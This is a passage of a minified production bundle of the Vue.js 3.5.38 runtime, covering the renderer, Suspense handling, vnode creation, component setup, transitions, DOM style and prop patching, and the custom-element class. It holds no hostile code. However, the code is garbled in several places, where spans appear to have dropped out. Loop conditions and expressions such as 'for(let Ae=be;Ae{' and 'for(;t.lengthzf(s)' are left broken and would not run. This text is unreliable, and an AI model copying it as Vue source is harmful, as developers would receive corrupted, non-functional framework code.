V;for(;E!==M;)V=p(E),a(E),E=V;a(M)},_e=(E,M,V)=>{const{bum:Ce,scope:fe,job:be,subTree:Ae,um:W,m:pe,a:ne}=E;uc(pe),uc(ne),Ce&&Cl(Ce),fe.stop(),be&&(be.flags|=8,Y(Ae,E,M,V)),W&&gs(W,M),gs(()=>{E.isUnmounted=!0},M)},Ge=(E,M,V,Ce=!1,fe=!1,be=0)=>{for(let Ae=be;Ae{if(E.shapeFlag&6)return de(E.component.subTree);if(E.shapeFlag&128)return E.suspense.next();const M=p(E.anchor||E.el),V=M&&M[Ug];return V?p(V):M};let ue=!1;const ve=(E,M,V)=>{let Ce;E==null?M._vnode&&(Y(M._vnode,null,null,!0),Ce=M._vnode.component):b(M._vnode||null,E,M,null,null,null,V),M._vnode=E,ue||(ue=!0,_f(Ce),rc(),ue=!1)},$={p:b,um:Y,m:Q,r:re,mt:ie,mc:A,pc:N,pbc:L,n:de,o:t};let se,De;return e&&([se,De]=e($)),{render:ve,hydrate:se,createApp:B0(ve,se)}}function Iu({type:t,props:e},s){return s==="svg"&&t==="foreignObject"||s==="mathml"&&t==="annotation-xml"&&e&&e.encoding&&e.encoding.includes("html")?void 0:s}function xi({effect:t,job:e},s){s?(t.flags|=32,e.flags|=4):(t.flags&=-33,e.flags&=-5)}function mm(t,e){return(!t||t&&!t.pendingBranch)&&e&&!e.persisted}function hp(t,e,s=!1){const n=t.children,a=e.children;if(Ve(n)&&Ve(a))for(let i=0;i>1,t[s[r]]0&&(e[n]=s[i-1]),s[i]=n)}}for(i=s.length,l=s[i-1];i-- >0;)s[i]=l,l=e[l];return s}function vm(t){const e=t.subTree.component;if(e)return e.asyncDep&&!e.asyncResolved?e:vm(e)}function uc(t){if(t)for(let e=0;et.__isSuspense;let Bd=0;const T0={name:"Suspense",__isSuspense:!0,process(t,e,s,n,a,i,l,r,o,c){if(t==null)R0(e,s,n,a,i,l,r,o,c);else{if(i&&i.deps>0&&!t.suspense.isInFallback){e.suspense=t.suspense,e.suspense.vnode=e,e.el=t.el;return}I0(t,e,s,n,a,l,r,o,c)}},hydrate:O0,normalize:L0},A0=T0;function Nr(t,e){const s=t.props&&t.props[e];rt(s)&&s()}function R0(t,e,s,n,a,i,l,r,o){const{p:c,o:{createElement:u}}=o,d=u("div"),p=t.suspense=Cm(t,a,n,e,d,s,i,l,r,o);c(null,p.pendingBranch=t.ssContent,d,null,n,p,i,l),p.deps>0?(Nr(t,"onPending"),Nr(t,"onFallback"),c(null,t.ssFallback,e,s,n,null,i,l),wl(p,t.ssFallback)):p.resolve(!1,!0)}function I0(t,e,s,n,a,i,l,r,{p:o,um:c,o:{createElement:u}}){const d=e.suspense=t.suspense;d.vnode=e,e.el=t.el;const p=e.ssContent,B=e.ssFallback,{activeBranch:h,pendingBranch:b,isInFallback:w,isHydrating:_}=d;if(b)d.pendingBranch=p,Un(b,p)?(o(b,p,d.hiddenContainer,null,a,d,i,l,r),d.deps<=0?d.resolve():w&&(_||(o(h,B,s,n,a,null,i,l,r),wl(d,B)))):(d.pendingId=Bd++,_?(d.isHydrating=!1,d.activeBranch=b):c(b,a,d),d.deps=0,d.effects.length=0,d.hiddenContainer=u("div"),w?(o(null,p,d.hiddenContainer,null,a,d,i,l,r),d.deps<=0?d.resolve():(o(h,B,s,n,a,null,i,l,r),wl(d,B))):h&&Un(h,p)?(o(h,p,s,n,a,d,i,l,r),d.resolve(!0)):(o(null,p,d.hiddenContainer,null,a,d,i,l,r),d.deps<=0&&d.resolve()));else if(h&&Un(h,p))o(h,p,s,n,a,d,i,l,r),wl(d,p);else if(Nr(e,"onPending"),d.pendingBranch=p,p.shapeFlag&512?d.pendingId=p.component.suspenseId:d.pendingId=Bd++,o(null,p,d.hiddenContainer,null,a,d,i,l,r),d.deps<=0)d.resolve();else{const{timeout:C,pendingId:v}=d;C>0?setTimeout(()=>{d.pendingId===v&&d.fallback(B)},C):C===0&&d.fallback(B)}}function Cm(t,e,s,n,a,i,l,r,o,c,u=!1){const{p:d,m:p,um:B,n:h,o:{parentNode:b,remove:w}}=c;let _;const C=N0(t);C&&e&&e.pendingBranch&&(_=e.pendingId,e.deps++);const v=t.props?sc(t.props.timeout):void 0,m=i,y={vnode:t,parent:e,parentComponent:s,namespace:l,container:n,hiddenContainer:a,deps:0,pendingId:Bd++,timeout:typeof v=="number"?v:-1,activeBranch:null,isFallbackMountPending:!1,pendingBranch:null,isInFallback:!u,isHydrating:u,isUnmounted:!1,effects:[],resolve(k=!1,x=!1){const{vnode:A,activeBranch:S,pendingBranch:L,pendingId:O,effects:I,parentComponent:J,container:ie,isInFallback:te}=y;let R=!1;if(y.isHydrating)y.isHydrating=!1;else if(!k){R=S&&L.transition&&L.transition.mode==="out-in";let z=!1;R&&(S.transition.afterLeave=()=>{O===y.pendingId&&(p(L,ie,i===m&&!z?h(S):i,0),Rr(I),te&&A.ssFallback&&(A.ssFallback.el=null))}),S&&!y.isFallbackMountPending&&(b(S.el)===ie&&(i=h(S),z=!0),B(S,J,y,!0),!R&&te&&A.ssFallback&&gs(()=>A.ssFallback.el=null,y)),R||p(L,ie,i,0)}y.isFallbackMountPending=!1,wl(y,L),y.pendingBranch=null,y.isInFallback=!1;let j=y.parent,N=!1;for(;j;){if(j.pendingBranch){j.effects.push(...I),N=!0;break}j=j.parent}!N&&!R&&Rr(I),y.effects=[],C&&e&&e.pendingBranch&&_===e.pendingId&&(e.deps--,e.deps===0&&!x&&e.resolve()),Nr(A,"onResolve")},fallback(k){if(!y.pendingBranch)return;const{vnode:x,activeBranch:A,parentComponent:S,container:L,namespace:O}=y;Nr(x,"onFallback");const I=h(A),J=()=>{y.isFallbackMountPending=!1,y.isInFallback&&(d(null,k,L,I,S,null,O,r,o),wl(y,k))},ie=k.transition&&k.transition.mode==="out-in";ie&&(y.isFallbackMountPending=!0,A.transition.afterLeave=J),y.isInFallback=!0,B(A,S,null,!0),ie||J()},move(k,x,A){y.activeBranch&&p(y.activeBranch,k,x,A),y.container=k},next(){return y.activeBranch&&h(y.activeBranch)},registerDep(k,x,A){const S=!!y.pendingBranch;S&&y.deps++;const L=k.vnode.el;k.asyncDep.catch(O=>{Vi(O,k,0)}).then(O=>{if(k.isUnmounted||y.isUnmounted||y.pendingId!==k.suspenseId)return;Pr(),k.asyncResolved=!0;const{vnode:I}=k;hd(k,O,!1),L&&(I.el=L);const J=!L&&k.subTree.el;x(k,I,b(L||k.subTree.el),L?null:h(k.subTree),y,l,A),J&&(I.placeholder=null,w(J)),Qc(k,I.el),S&&--y.deps===0&&y.resolve()})},unmount(k,x){y.isUnmounted=!0,y.activeBranch&&B(y.activeBranch,s,k,x),y.pendingBranch&&B(y.pendingBranch,s,k,x)}};return y}function O0(t,e,s,n,a,i,l,r,o){const c=e.suspense=Cm(e,n,s,t.parentNode,document.createElement("div"),null,a,i,l,r,!0),u=o(t,c.pendingBranch=e.ssContent,s,c,i,l);return c.deps===0&&c.resolve(!1,!0),u}function L0(t){const{shapeFlag:e,children:s}=t,n=e&32;t.ssContent=Pf(n?s.default:s),t.ssFallback=n?Pf(s.fallback):ss(Bs)}function Pf(t){let e;if(rt(t)){const s=Hi&&t._c;s&&(t._d=!1,Fr()),t=t(),s&&(t._d=!0,e=$s,xm())}return Ve(t)&&(t=v0(t)),t=hn(t),e&&!t.dynamicChildren&&(t.dynamicChildren=e.filter(s=>s!==t)),t}function ym(t,e){e&&e.pendingBranch?Ve(t)?e.effects.push(...t):e.effects.push(t):Rr(t)}function wl(t,e){t.activeBranch=e;const{vnode:s,parentComponent:n}=t;let a=e.el;for(;!a&&e.component;)e=e.component.subTree,a=e.el;s.el=a,n&&n.subTree===s&&(n.vnode.el=a,Qc(n,a))}function N0(t){const e=t.props&&t.props.suspensible;return e!=null&&e!==!1}const Ss=Symbol.for("v-fgt"),ui=Symbol.for("v-txt"),Bs=Symbol.for("v-cmt"),Fi=Symbol.for("v-stc"),yr=[];let $s=null;function Fr(t=!1){yr.push($s=t?null:[])}function xm(){yr.pop(),$s=yr[yr.length-1]||null}let Hi=1;function Mr(t,e=!1){Hi+=t,t<0&&$s&&e&&($s.hasOnce=!0)}function wm(t){return t.dynamicChildren=Hi>0?$s||ml:null,xm(),Hi>0&&$s&&$s.push(t),t}function F0(t,e,s,n,a,i){return wm(gp(t,e,s,n,a,i,!0))}function pc(t,e,s,n,a){return wm(ss(t,e,s,n,a,!0))}function Pa(t){return t?t.__v_isVNode===!0:!1}function Un(t,e){return t.type===e.type&&t.key===e.key}function M0(t){}const _m=({key:t})=>t??null,Wo=({ref:t,ref_key:e,ref_for:s})=>(typeof t=="number"&&(t=""+t),t!=null?ut(t)||bs(t)||rt(t)?{i:Ls,r:t,k:e,f:!!s}:t:null);function gp(t,e=null,s=null,n=0,a=null,i=t===Ss?0:1,l=!1,r=!1){const o={__v_isVNode:!0,__v_skip:!0,type:t,props:e,key:e&&_m(e),ref:e&&Wo(e),scopeId:Jc,slotScopeIds:null,children:s,component:null,suspense:null,ssContent:null,ssFallback:null,dirs:null,transition:null,el:null,anchor:null,target:null,targetStart:null,targetAnchor:null,staticCount:0,shapeFlag:i,patchFlag:n,dynamicProps:a,dynamicChildren:null,appContext:null,ctx:Ls};return r?(vp(o,s),i&128&&t.normalize(o)):s&&(o.shapeFlag|=ut(s)?8:16),Hi>0&&!l&&$s&&(o.patchFlag>0||i&6)&&o.patchFlag!==32&&$s.push(o),o}const ss=P0;function P0(t,e=null,s=null,n=0,a=null,i=!1){if((!t||t===Xg)&&(t=Bs),Pa(t)){const r=ca(t,e,!0);return s&&vp(r,s),Hi>0&&!i&&$s&&(r.shapeFlag&6?$s[$s.indexOf(t)]=r:$s.push(r)),r.patchFlag=-2,r}if(z0(t)&&(t=t.__vccOpts),e){e=Em(e);let{class:r,style:o}=e;r&&!ut(r)&&(e.class=Yr(r)),Rt(o)&&(Zr(o)&&!Ve(o)&&(o=vt({},o)),e.style=Qr(o))}const l=ut(t)?1:dc(t)?128:$g(t)?64:Rt(t)?4:rt(t)?2:0;return gp(t,e,s,n,a,l,i,!0)}function Em(t){return t?Zr(t)||om(t)?vt({},t):t:null}function ca(t,e,s=!1,n=!1){const{props:a,ref:i,patchFlag:l,children:r,transition:o}=t,c=e?Dm(a||{},e):a,u={__v_isVNode:!0,__v_skip:!0,type:t.type,props:c,key:c&&_m(c),ref:e&&e.ref?s&&i?Ve(i)?i.concat(Wo(e)):[i,Wo(e)]:Wo(e):i,scopeId:t.scopeId,slotScopeIds:t.slotScopeIds,children:r,target:t.target,targetStart:t.targetStart,targetAnchor:t.targetAnchor,staticCount:t.staticCount,shapeFlag:t.shapeFlag,patchFlag:e&&t.type!==Ss?l===-1?16:l|16:l,dynamicProps:t.dynamicProps,dynamicChildren:t.dynamicChildren,appContext:t.appContext,dirs:t.dirs,transition:o,component:t.component,suspense:t.suspense,ssContent:t.ssContent&&ca(t.ssContent),ssFallback:t.ssFallback&&ca(t.ssFallback),placeholder:t.placeholder,el:t.el,anchor:t.anchor,ctx:t.ctx,ce:t.ce};return o&&n&&Ma(u,o.clone(u)),u}function mp(t=" ",e=0){return ss(ui,null,t,e)}function H0(t,e){const s=ss(Fi,null,t);return s.staticCount=e,s}function km(t="",e=!1){return e?(Fr(),pc(Bs,null,t)):ss(Bs,null,t)}function hn(t){return t==null||typeof t=="boolean"?ss(Bs):Ve(t)?ss(Ss,null,t.slice()):Pa(t)?xa(t):ss(ui,null,String(t))}function xa(t){return t.el===null&&t.patchFlag!==-1||t.memo?t:ca(t)}function vp(t,e){let s=0;const{shapeFlag:n}=t;if(e==null)e=null;else if(Ve(e))s=16;else if(typeof e=="object")if(n&65){const a=e.default;a&&(a._c&&(a._d=!1),vp(t,a()),a._c&&(a._d=!0));return}else{s=32;const a=e._;!a&&!om(e)?e._ctx=Ls:a===3&&Ls&&(Ls.slots._===1?e._=1:(e._=2,t.patchFlag|=1024))}else rt(e)?(e={default:e,_ctx:Ls},s=32):(e=String(e),n&64?(s=16,e=[mp(e)]):s=8);t.children=e,t.shapeFlag|=s}function Dm(...t){const e={};for(let s=0;sOs||Ls;let fc,_l;{const t=Pc(),e=(s,n)=>{let a;return(a=t[s])||(a=t[s]=[]),a.push(n),i=>{a.length>1?a.forEach(l=>l(i)):a[0](i)}};fc=e("__VUE_INSTANCE_SETTERS__",s=>Os=s),_l=e("__VUE_SSR_SETTERS__",s=>Gi=s)}const Ul=t=>{const e=Os;return fc(t),t.scope.on(),()=>{t.scope.off(),fc(e)}},Pr=()=>{Os&&Os.scope.off(),fc(null)};function Tm(t){return t.vnode.shapeFlag&4}let Gi=!1;function Am(t,e=!1,s=!1){e&&_l(e);const{props:n,children:a}=t.vnode,i=Tm(t);x0(t,n,i,e),k0(t,a,s||e);const l=i?$0(t,e):void 0;return e&&_l(!1),l}function $0(t,e){const s=t.type;t.accessCache=Object.create(null),t.proxy=new Proxy(t.ctx,ud);const{setup:n}=s;if(n){Na();const a=t.setupContext=n.length>1?Om(t):null,i=Ul(t),l=Gl(n,t,0,[t.props,a]),r=Wd(l);if(Fa(),i(),(r||t.sp)&&!Ia(t)&&rp(t),r){if(l.then(Pr,Pr),e)return l.then(o=>{hd(t,o,e)}).catch(o=>{Vi(o,t,0)});t.asyncDep=l}else hd(t,l,e)}else Im(t,e)}function hd(t,e,s){rt(e)?t.type.__ssrInlineRender?t.ssrRender=e:t.render=e:Rt(e)&&(t.setupState=sp(e)),Im(t,s)}let Bc,gd;function Rm(t){Bc=t,gd=e=>{e.render._rc&&(e.withProxy=new Proxy(e.ctx,Kx))}}const j0=()=>!Bc;function Im(t,e,s){const n=t.type;if(!t.render){if(!e&&Bc&&!n.render){const a=n.template||pp(t).template;if(a){const{isCustomElement:i,compilerOptions:l}=t.appContext.config,{delimiters:r,compilerOptions:o}=n,c=vt(vt({isCustomElement:i,delimiters:r},l),o);n.render=Bc(a,c)}}t.render=n.render||Ns,gd&&gd(t)}{const a=Ul(t);Na();try{o0(t)}finally{Fa(),a()}}}const J0={get(t,e){return Us(t,"get",""),t[e]}};function Om(t){const e=s=>{t.exposed=s||{}};return{attrs:new Proxy(t.attrs,J0),slots:t.slots,emit:t.emit,expose:e}}function so(t){return t.exposed?t.exposeProxy||(t.exposeProxy=new Proxy(sp(Dg(t.exposed)),{get(e,s){if(s in e)return e[s];if(s in Cr)return Cr[s](t)},has(e,s){return s in e||s in Cr}})):t.proxy}function md(t,e=!0){return rt(t)?t.displayName||t.name:t.name||e&&t.__name}function z0(t){return rt(t)&&"__vccOpts"in t}const G=(t,e)=>Yy(t,e,Gi);function Tl(t,e,s){try{Mr(-1);const n=arguments.length;return n===2?Rt(e)&&!Ve(e)?Pa(e)?ss(t,null,[e]):ss(t,e):ss(t,null,e):(n>3?s=Array.prototype.slice.call(arguments,2):n===3&&Pa(s)&&(s=[s]),ss(t,e,s))}finally{Mr(1)}}function q0(){}function V0(t,e,s,n){const a=s[n];if(a&&Lm(a,t))return a;const i=e();return i.memo=t.slice(),i.cacheIndex=n,s[n]=i}function Lm(t,e){const s=t.memo;if(s.length!=e.length)return!1;for(let n=0;n0&&$s&&$s.push(t),!0}const Nm="3.5.38",K0=Ns,W0=lx,Q0=cl,Y0=Fg,Z0={createComponentInstance:Sm,setupComponent:Am,renderComponentRoot:Ko,setCurrentRenderingInstance:Or,isVNode:Pa,normalizeVNode:hn,getComponentPublicInstance:so,ensureValidVNode:dp,pushWarningContext:sx,popWarningContext:nx},X0=Z0,ew=null,tw=null,sw=null;/** +* @vue/runtime-dom v3.5.38 +* (c) 2018-present Yuxi (Evan) You and Vue contributors +* @license MIT +**/let vd;const Hf=typeof window<"u"&&window.trustedTypes;if(Hf)try{vd=Hf.createPolicy("vue",{createHTML:t=>t})}catch{}const Fm=vd?t=>vd.createHTML(t):t=>t,nw="http://www.w3.org/2000/svg",aw="http://www.w3.org/1998/Math/MathML",ya=typeof document<"u"?document:null,Gf=ya&&ya.createElement("template"),Mm={insert:(t,e,s)=>{e.insertBefore(t,s||null)},remove:t=>{const e=t.parentNode;e&&e.removeChild(t)},createElement:(t,e,s,n)=>{const a=e==="svg"?ya.createElementNS(nw,t):e==="mathml"?ya.createElementNS(aw,t):s?ya.createElement(t,{is:s}):ya.createElement(t);return t==="select"&&n&&n.multiple!=null&&a.setAttribute("multiple",n.multiple),a},createText:t=>ya.createTextNode(t),createComment:t=>ya.createComment(t),setText:(t,e)=>{t.nodeValue=e},setElementText:(t,e)=>{t.textContent=e},parentNode:t=>t.parentNode,nextSibling:t=>t.nextSibling,querySelector:t=>ya.querySelector(t),setScopeId(t,e){t.setAttribute(e,"")},insertStaticContent(t,e,s,n,a,i){const l=s?s.previousSibling:e.lastChild;if(a&&(a===i||a.nextSibling))for(;e.insertBefore(a.cloneNode(!0),s),!(a===i||!(a=a.nextSibling)););else{Gf.innerHTML=Fm(n==="svg"?`${t}`:n==="mathml"?`${t}`:t);const r=Gf.content;if(n==="svg"||n==="mathml"){const o=r.firstChild;for(;o.firstChild;)r.appendChild(o.firstChild);r.removeChild(o)}e.insertBefore(r,s)}return[l?l.nextSibling:e.firstChild,s?s.previousSibling:e.lastChild]}},Qa="transition",Xl="animation",Al=Symbol("_vtc"),Pm={name:String,type:String,css:{type:Boolean,default:!0},duration:[String,Number,Object],enterFromClass:String,enterActiveClass:String,enterToClass:String,appearFromClass:String,appearActiveClass:String,appearToClass:String,leaveFromClass:String,leaveActiveClass:String,leaveToClass:String},Hm=vt({},lp,Pm),iw=t=>(t.displayName="Transition",t.props=Hm,t),lw=iw((t,{slots:e})=>Tl(zg,Gm(t),e)),wi=(t,e=[])=>{Ve(t)?t.forEach(s=>s(...e)):t&&t(...e)},Uf=t=>t?Ve(t)?t.some(e=>e.length>1):t.length>1:!1;function Gm(t){const e={};for(const I in t)I in Pm||(e[I]=t[I]);if(t.css===!1)return e;const{name:s="v",type:n,duration:a,enterFromClass:i=`${s}-enter-from`,enterActiveClass:l=`${s}-enter-active`,enterToClass:r=`${s}-enter-to`,appearFromClass:o=i,appearActiveClass:c=l,appearToClass:u=r,leaveFromClass:d=`${s}-leave-from`,leaveActiveClass:p=`${s}-leave-active`,leaveToClass:B=`${s}-leave-to`}=t,h=rw(a),b=h&&h[0],w=h&&h[1],{onBeforeEnter:_,onEnter:C,onEnterCancelled:v,onLeave:m,onLeaveCancelled:y,onBeforeAppear:k=_,onAppear:x=C,onAppearCancelled:A=v}=e,S=(I,J,ie,te)=>{I._enterCancelled=te,si(I,J?u:r),si(I,J?c:l),ie&&ie()},L=(I,J)=>{I._isLeaving=!1,si(I,d),si(I,B),si(I,p),J&&J()},O=I=>(J,ie)=>{const te=I?x:C,R=()=>S(J,I,ie);wi(te,[J,R]),$f(()=>{si(J,I?o:i),ea(J,I?u:r),Uf(te)||jf(J,n,b,R)})};return vt(e,{onBeforeEnter(I){wi(_,[I]),ea(I,i),ea(I,l)},onBeforeAppear(I){wi(k,[I]),ea(I,o),ea(I,c)},onEnter:O(!1),onAppear:O(!0),onLeave(I,J){I._isLeaving=!0;const ie=()=>L(I,J);ea(I,d),I._enterCancelled?(ea(I,p),bd(I)):(bd(I),ea(I,p)),$f(()=>{I._isLeaving&&(si(I,d),ea(I,B),Uf(m)||jf(I,n,w,ie))}),wi(m,[I,ie])},onEnterCancelled(I){S(I,!1,void 0,!0),wi(v,[I])},onAppearCancelled(I){S(I,!0,void 0,!0),wi(A,[I])},onLeaveCancelled(I){L(I),wi(y,[I])}})}function rw(t){if(t==null)return null;if(Rt(t))return[Ou(t.enter),Ou(t.leave)];{const e=Ou(t);return[e,e]}}function Ou(t){return sc(t)}function ea(t,e){e.split(/\s+/).forEach(s=>s&&t.classList.add(s)),(t[Al]||(t[Al]=new Set)).add(e)}function si(t,e){e.split(/\s+/).forEach(n=>n&&t.classList.remove(n));const s=t[Al];s&&(s.delete(e),s.size||(t[Al]=void 0))}function $f(t){requestAnimationFrame(()=>{requestAnimationFrame(t)})}let ow=0;function jf(t,e,s,n){const a=t._endId=++ow,i=()=>{a===t._endId&&n()};if(s!=null)return setTimeout(i,s);const{type:l,timeout:r,propCount:o}=Um(t,e);if(!l)return n();const c=l+"end";let u=0;const d=()=>{t.removeEventListener(c,p),i()},p=B=>{B.target===t&&++u>=o&&d()};setTimeout(()=>{u(s[h]||"").split(", "),a=n(`${Qa}Delay`),i=n(`${Qa}Duration`),l=Jf(a,i),r=n(`${Xl}Delay`),o=n(`${Xl}Duration`),c=Jf(r,o);let u=null,d=0,p=0;e===Qa?l>0&&(u=Qa,d=l,p=i.length):e===Xl?c>0&&(u=Xl,d=c,p=o.length):(d=Math.max(l,c),u=d>0?l>c?Qa:Xl:null,p=u?u===Qa?i.length:o.length:0);const B=u===Qa&&/\b(?:transform|all)(?:,|$)/.test(n(`${Qa}Property`).toString());return{type:u,timeout:d,propCount:p,hasTransform:B}}function Jf(t,e){for(;t.lengthzf(s)+zf(t[n])))}function zf(t){return t==="auto"?0:Number(t.slice(0,-1).replace(",","."))*1e3}function bd(t){return(t?t.ownerDocument:document).body.offsetHeight}function cw(t,e,s){const n=t[Al];n&&(e=(e?[e,...n]:[...n]).join(" ")),e==null?t.removeAttribute("class"):s?t.setAttribute("class",e):t.className=e}const hc=Symbol("_vod"),bp=Symbol("_vsh"),$m={name:"show",beforeMount(t,{value:e},{transition:s}){t[hc]=t.style.display==="none"?"":t.style.display,s&&e?s.beforeEnter(t):er(t,e)},mounted(t,{value:e},{transition:s}){s&&e&&s.enter(t)},updated(t,{value:e,oldValue:s},{transition:n}){!e!=!s&&(n?e?(n.beforeEnter(t),er(t,!0),n.enter(t)):n.leave(t,()=>{er(t,!1)}):er(t,e))},beforeUnmount(t,{value:e}){er(t,e)}};function er(t,e){t.style.display=e?t[hc]:"none",t[bp]=!e}function uw(){$m.getSSRProps=({value:t})=>{if(!t)return{style:{display:"none"}}}}const jm=Symbol("");function dw(t){const e=nn();if(!e)return;const s=e.ut=(a=t(e.proxy))=>{Array.from(document.querySelectorAll(`[data-v-owner="${e.uid}"]`)).forEach(i=>gc(i,a))},n=()=>{const a=t(e.proxy);e.ce?gc(e.ce,a):Cd(e.subTree,a),s(a)};op(()=>{Rr(n)}),dt(()=>{us(n,Ns,{flush:"post"});const a=new MutationObserver(n);a.observe(e.subTree.el.parentNode,{childList:!0}),It(()=>a.disconnect())})}function Cd(t,e){if(t.shapeFlag&128){const s=t.suspense;t=s.activeBranch,s.pendingBranch&&!s.isHydrating&&s.effects.push(()=>{Cd(s.activeBranch,e)})}for(;t.component;)t=t.component.subTree;if(t.shapeFlag&1&&t.el)gc(t.el,e);else if(t.type===Ss)t.children.forEach(s=>Cd(s,e));else if(t.type===Fi){let{el:s,anchor:n}=t;for(;s&&(gc(s,e),s!==n);)s=s.nextSibling}}function gc(t,e){if(t.nodeType===1){const s=t.style;let n="";for(const a in e){const i=my(e[a]);s.setProperty(`--${a}`,i),n+=`--${a}: ${i};`}s[jm]=n}}const pw=/(?:^|;)\s*display\s*:/;function fw(t,e,s){const n=t.style,a=ut(s);let i=!1;if(s&&!a){if(e)if(ut(e))for(const l of e.split(";")){const r=l.slice(0,l.indexOf(":")).trim();s[r]==null&&hr(n,r,"")}else for(const l in e)s[l]==null&&hr(n,l,"");for(const l in s){l==="display"&&(i=!0);const r=s[l];r!=null?hw(t,l,!ut(e)&&e?e[l]:void 0,r)||hr(n,l,r):hr(n,l,"")}}else if(a){if(e!==s){const l=n[jm];l&&(s+=";"+l),n.cssText=s,i=pw.test(s)}}else e&&t.removeAttribute("style");hc in t&&(t[hc]=i?n.display:"",t[bp]&&(n.display="none"))}const qf=/\s*!important$/;function hr(t,e,s){if(Ve(s))s.forEach(n=>hr(t,e,n));else if(s==null&&(s=""),e.startsWith("--"))t.setProperty(e,s);else{const n=Bw(t,e);qf.test(s)?t.setProperty(gn(n),s.replace(qf,""),"important"):t[n]=s}}const Vf=["Webkit","Moz","ms"],Lu={};function Bw(t,e){const s=Lu[e];if(s)return s;let n=Ut(e);if(n!=="filter"&&n in t)return Lu[e]=n;n=qi(n);for(let a=0;aNu||(bw.then(()=>Nu=0),Nu=Date.now());function yw(t,e){const s=n=>{if(!n._vts)n._vts=Date.now();else if(n._vts<=s.attached)return;const a=s.value;if(Ve(a)){const i=n.stopImmediatePropagation;n.stopImmediatePropagation=()=>{i.call(n),n._stopped=!0};const l=a.slice(),r=[n];for(let o=0;ot.charCodeAt(0)===111&&t.charCodeAt(1)===110&&t.charCodeAt(2)>96&&t.charCodeAt(2)<123,Jm=(t,e,s,n,a,i)=>{const l=a==="svg";e==="class"?cw(t,n,l):e==="style"?fw(t,s,n):Ji(e)?Oc(e)||mw(t,e,s,n,i):(e[0]==="."?(e=e.slice(1),!0):e[0]==="^"?(e=e.slice(1),!1):xw(t,e,n,l))?(Qf(t,e,n),!t.tagName.includes("-")&&(e==="value"||e==="checked"||e==="selected")&&Wf(t,e,n,l,i,e!=="value")):t._isVueCE&&(ww(t,e)||t._def.__asyncLoader&&(/[A-Z]/.test(e)||!ut(n)))?Qf(t,Ut(e),n,i,e):(e==="true-value"?t._trueValue=n:e==="false-value"&&(t._falseValue=n),Wf(t,e,n,l))};function xw(t,e,s,n){if(n)return!!(e==="innerHTML"||e==="textContent"||e in t&&Xf(e)&&rt(s));if(e==="spellcheck"||e==="draggable"||e==="translate"||e==="autocorrect"||e==="sandbox"&&t.tagName==="IFRAME"||e==="form"||e==="list"&&t.tagName==="INPUT"||e==="type"&&t.tagName==="TEXTAREA")return!1;if(e==="width"||e==="height"){const a=t.tagName;if(a==="IMG"||a==="VIDEO"||a==="CANVAS"||a==="SOURCE")return!1}return Xf(e)&&ut(s)?!1:e in t}function ww(t,e){const s=t._def.props;if(!s)return!1;const n=Ut(e);return Array.isArray(s)?s.some(a=>Ut(a)===n):Object.keys(s).some(a=>Ut(a)===n)}const eB={};function zm(t,e,s){let n=eo(t,e);Lc(n)&&(n=vt({},n,e));class a extends Yc{constructor(l){super(n,l,s)}}return a.def=n,a}const _w=((t,e)=>zm(t,e,av)),Ew=typeof HTMLElement<"u"?HTMLElement:class{};class Yc extends Ew{constructor(e,s={},n=bc){super(),this._def=e,this._props=s,this._createApp=n,this._isVueCE=!0,this._instance=null,this._app=null,this._nonce=this._def.nonce,this._connected=!1,this._resolved=!1,this._patching=!1,this._dirty=!1,this._numberProps=null,this._styleChildren=new WeakSet,this._styleAnchors=new WeakMap,this._ob=null,this.shadowRoot&&n!==bc?this._root=this.shadowRoot:e.shadowRoot!==!1?(this.attachShadow(vt({},e.shadowRootOptions,{mode:"open"})),this._root=this.shadowRoot):this._root=this}connectedCallback(){if(!this.isConnected)return;!this.shadowRoot&&!this._resolved&&this._parseSlots(),this._connected=!0;let e=this;for(;e=e&&(e.assignedSlot||e.parentNode||e.host);)if(e instanceof Yc){this._parent=e;break}this._instance||(this._resolved?this._mount(this._def):e&&e._pendingResolve?this._pendingResolve=e._pendingResolve.then(()=>{this._pendingResolve=void 0,this._resolveDef()}):this._resolveDef())}_setParent(e=this._parent){e&&(this._instance.parent=e._instance,this._inheritParentContext(e))}_inheritParentContext(e=this._parent){e&&this._app&&Object.setPrototypeOf(this._app._context.provides,e._instance.provides)}disconnectedCallback(){this._connected=!1,ns(()=>{this._connected||(this._ob&&(this._ob.disconnect(),this._ob=null),this._app&&this._app.unmount(),this._instance&&(this._instance.ce=void 0),this._app=this._instance=null,this._teleportTargets&&(this._teleportTargets.clear(),this._teleportTargets=void 0))})}_processMutations(e){for(const s of e)this._setAttr(s.attributeName)}_resolveDef(){if(this._pendingResolve)return;for(let n=0;n{this._resolved=!0,this._pendingResolve=void 0;const{props:i,styles:l}=n;let r;if(i&&!Ve(i))for(const o in i){const c=i[o];(c===Number||c&&c.type===Number)&&(o in this._props&&(this._props[o]=sc(this._props[o])),(r||(r=Object.create(null)))[Ut(o)]=!0)}this._numberProps=r,this._resolveProps(n),this.shadowRoot&&this._applyStyles(l),this._mount(n)},s=this._def.__asyncLoader;s?this._pendingResolve=s().then(n=>{n.configureApp=this._def.configureApp,e(this._def=n,!0)}):e(this._def)}_mount(e){this._app=this._createApp(e),this._inheritParentContext(),e.configureApp&&e.configureApp(this._app),this._app._ceVNode=this._createVNode(),this._app.mount(this._root);const s=this._instance&&this._instance.exposed;if(s)for(const n in s)Lt(this,n)||Object.defineProperty(this,n,{get:()=>ra(s[n])})}_resolveProps(e){const{props:s}=e,n=Ve(s)?s:Object.keys(s||{});for(const a of Object.keys(this))a[0]!=="_"&&n.includes(a)&&this._setProp(a,this[a]);for(const a of n.map(Ut))Object.defineProperty(this,a,{get(){return this._getProp(a)},set(i){this._setProp(a,i,!0,!this._patching)}})}_setAttr(e){if(e.startsWith("data-v-"))return;const s=this.hasAttribute(e);let n=s?this.getAttribute(e):eB;const a=Ut(e);s&&this._numberProps&&this._numberProps[a]&&(n=sc(n)),this._setProp(a,n,!1,!0)}_getProp(e){return this._props[e]}_setProp(e,s,n=!0,a=!1){if(s!==this._props[e]&&(this._dirty=!0,s===eB?delete this._props[e]:(this._props[e]=s,e==="key"&&this._app&&(this._app._ceVNode.key=s)),a&&this._instance&&this._update(),n)){const i=this._ob;i&&(this._processMutations(i.takeRecords()),i.disconnect()),s===!0?this.setAttribute(gn(e),""):typeof s=="string"||typeof s=="number"?this.setAttribute(gn(e),s+""):s||this.removeAttribute(gn(e)),i&&i.observe(this,{attributes:!0})}}_update(){const e=this._createVNode();this._app&&(e.appContext=this._app._context),nv(e,this._root)}_createVNode(){const e={};this.shadowRoot||(e.onVnodeMounted=e.onVnodeUpdated=this._renderSlots.bind(this));const s=ss(this._def,vt(e,this._props));return 